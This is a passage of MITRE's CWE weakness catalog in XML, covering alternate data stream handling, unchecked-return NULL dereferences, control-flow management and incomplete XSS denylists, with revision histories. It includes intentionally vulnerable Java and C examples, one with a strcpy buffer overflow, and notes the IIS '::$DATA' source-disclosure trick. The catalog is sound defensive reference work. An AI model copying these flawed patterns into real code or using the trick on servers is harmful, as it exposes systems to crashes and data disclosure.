                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="69" Name="Improper Handling of Windows ::DATA Alternate Data Stream" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product does not properly prevent access to, or detect usage of, alternate data streams (ADS).</Description>
         <Extended_Description>An attacker can use an ADS to hide information about a file (e.g. size, the name of the process) from a system or file browser tools such as Windows Explorer and 'dir' at the command line utility. Alternately, the attacker might be able to bypass intended access restrictions for the associated data fork.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="66" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Operating_System Class="Windows" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>Alternate data streams (ADS) were first implemented in the Windows NT operating system to provide compatibility between NTFS and the Macintosh Hierarchical File System (HFS). In HFS, data and resource forks are used to store information about a file. The data fork provides information about the contents of the file while the resource fork stores metadata such as file type.</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Non-Repudiation</Scope>
               <Scope>Other</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Hide Activities</Impact>
               <Impact>Other</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Software tools are capable of finding ADSs on your system.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Ensure that the source code correctly parses the filename to read or write to the correct stream.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-1999-0278</Reference>
               <Description>In IIS, remote attackers can obtain source code for ASP files by appending "::$DATA" to the URL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-0278</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0927</Reference>
               <Description>Product does not properly record file sizes if they are stored in alternative data streams, which allows users to bypass quota restrictions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0927</Link>
            </Observed_Example>
         </Observed_Examples>
         <Affected_Resources>
            <Affected_Resource>System Process</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Windows ::DATA alternate data stream</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="168"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-562"/>
            <Reference External_Reference_ID="REF-7"/>
         </References>
         <Notes>
            <Note Type="Theoretical">This and similar problems exist because the same resource can have multiple identifiers that dictate which behavior can be performed on the resource.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Background_Details, Description, Relationships, Other_Notes, References, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes, Theoretical_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Windows ::DATA Alternate Data Stream</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-12-13">Failure to Handle Windows ::DATA Alternate Data Stream</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="690" Name="Unchecked Return Value to NULL Pointer Dereference" Abstraction="Compound" Structure="Chain" Status="Draft">
         <Description>The product does not check for an error after calling a function that can return with a NULL pointer if the function fails, which leads to a resultant NULL pointer dereference.</Description>
         <Extended_Description>While unchecked return value weaknesses are not limited to returns of NULL pointers (see the examples in CWE-252), functions often return NULL to indicate an error status. When this error condition is not checked, a NULL pointer dereference can occur.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="StartsWith" CWE_ID="252" View_ID="709" Chain_ID="690"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="476" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>A typical occurrence of this weakness occurs when an application includes user-controlled input to a malloc() call. The related code might be correct with respect to preventing buffer overflows, but if a large value is provided, the malloc() will fail due to insufficient memory. This problem also frequently occurs when a parsing routine expects that certain elements will always be present. If malformed input is provided, the parser might return NULL. For example, strtok() can return NULL.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Read Memory</Impact>
               <Impact>Modify Memory</Impact>
               <Note>In rare circumstances, when NULL is equivalent to the 0x0 memory address and privileged code can access it, then writing or reading memory is possible, which may lead to code execution.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Black Box</Method>
               <Description>This typically occurs in rarely-triggered error conditions, reducing the chances of detection during black box testing.</Description>
            </Detection_Method>
            <Detection_Method>
               <Method>White Box</Method>
               <Description>Code analysis can require knowledge of API behaviors for library functions that might return NULL, reducing the chances of detection when unknown libraries are used.</Description>
            </Detection_Method>
         </Detection_Methods>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The code below makes a call to the getUserName() function but doesn't check the return value before dereferencing (which may cause a NullPointerException).</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String username = getUserName();<xhtml:br/>if (username.equals(ADMIN_USER)) {<xhtml:div style="margin-left:1em;">...</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-1">
               <Intro_Text>This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void host_lookup(char *user_supplied_addr){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>struct hostent *hp;<xhtml:br/>in_addr_t *addr;<xhtml:br/>char hostname[64];<xhtml:br/>in_addr_t inet_addr(const char *cp);<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/*routine that ensures user_supplied_addr is in the right format for conversion */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>validate_addr_form(user_supplied_addr);<xhtml:br/>addr = inet_addr(user_supplied_addr);<xhtml:br/>hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);<xhtml:br/>strcpy(hostname, hp-&gt;h_name);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference (CWE-476) would then occur in the call to strcpy().</Body_Text>
               <Body_Text>Note that this code is also vulnerable to a buffer overflow (CWE-119).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2008-1052</Reference>
               <Description>Large Content-Length value leads to NULL pointer dereference when malloc fails.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1052</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-6227</Reference>
               <Description>Large message length field leads to NULL pointer dereference when malloc fails.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-6227</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-2555</Reference>
               <Description>Parsing routine encounters NULL dereference when input is missing a colon separator.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-2555</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-1054</Reference>
               <Description>URI parsing API sets argument to NULL when a parsing failure occurs, such as when the Referer header is missing a hostname, leading to NULL dereference.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1054</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5183</Reference>
               <Description>chain: unchecked return value can lead to NULL dereference</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5183</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>EXP34-C</Entry_ID>
               <Entry_Name>Do not dereference null pointers</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>ERR08-J</Entry_ID>
               <Entry_Name>Do not catch NullPointerException or any of its ancestors</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>EXP32-PL</Entry_ID>
               <Entry_Name>Do not ignore function return values</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Detection_Factors, Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships, Relevant_Properties, Taxonomy_Mappings, Time_of_Introduction</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Common_Consequences</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="691" Name="Insufficient Control Flow Management" Abstraction="Pillar" Structure="Simple" Status="Draft">
         <Description>The code does not sufficiently manage its control flow during execution, creating conditions in which the control flow can be modified in unexpected ways.</Description>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Alter Execution Logic</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>40</Entry_ID>
               <Entry_Name>Insufficient Process Validation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="29"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Other_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Relevant_Properties</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="692" Name="Incomplete Denylist to Cross-Site Scripting" Abstraction="Compound" Structure="Chain" Status="Draft">
         <Description>The product uses a denylist-based protection mechanism to defend against XSS attacks, but the denylist is incomplete, allowing XSS variants to succeed.</Description>
         <Extended_Description>While XSS might seem simple to prevent, web browsers vary so widely in how they parse web pages, that a denylist cannot keep track of all the variations. The "XSS Cheat Sheet" [REF-714] contains a large number of attacks that are intended to bypass incomplete denylists.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="StartsWith" CWE_ID="184" View_ID="709" Chain_ID="692"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="79" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2007-5727</Reference>
               <Description>Denylist only removes &lt;SCRIPT&gt; tag.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-5727</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-3617</Reference>
               <Description>Denylist only removes &lt;SCRIPT&gt; tag.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-3617</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4308</Reference>
               <Description>Denylist only checks "javascript:" tag</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4308</Link>
            </Observed_Example>
         </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="120"/>
            <Related_Attack_Pattern CAPEC_ID="267"/>
            <Related_Attack_Pattern CAPEC_ID="71"/>
            <Related_Attack_Pattern CAPEC_ID="80"/>
            <Related_Attack_Pattern CAPEC_ID="85"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-714"/>
         </References>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-24</Modification_Date>
               <Modification_Comment>added Language_Class "All"</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships, Relevant_Properties</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
